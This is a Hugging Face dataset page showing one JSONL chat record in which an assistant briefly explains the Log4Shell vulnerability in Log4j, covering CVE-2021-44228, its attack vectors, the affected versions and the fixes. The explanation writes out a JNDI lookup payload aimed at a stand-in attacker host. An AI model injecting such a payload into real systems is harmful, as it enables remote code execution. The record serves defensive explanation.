tinycodinglm / sec /cve-0005.jsonl
winapiadmin's picture
Upload folder using huggingface_hub (part 16)
d517dc9 verified
|
Raw History Blame Contribute Delete
1.13 kB
deepseek-harness trace
System You are an expert software engineer and technical assistant. You provide accurate, detailed, and practical answers. When writing code, use best practices, proper error handling, and clear variable names. When analyzing c...

You are an expert software engineer and technical assistant. You provide accurate, detailed, and practical answers. When writing code, use best practices, proper error handling, and clear variable names. When analyzing code, identify bugs, security issues, and performance problems. You have deep knowledge of C/C++, Windows API, Python, and many other technologies.

User

Explain CVE-2021-44228 (Log4Shell)

Assistant

CVE-2021-44228 (Log4Shell) - Critical RCE in Apache Log4j 2. CVSS 10.0.

How: Log4j supports JNDI lookups: ${jndi:ldap://attacker.com/exploit}. When logged, it fetches and executes malicious class.

Attack vectors: User-Agent, form fields, URL params, any logged input.

Affected: Log4j 2.0-beta9 to 2.14.1

Fix: Upgrade to 2.17.0+, set log4j2.formatMsgNoLookups=true, remove JndiLookup.class.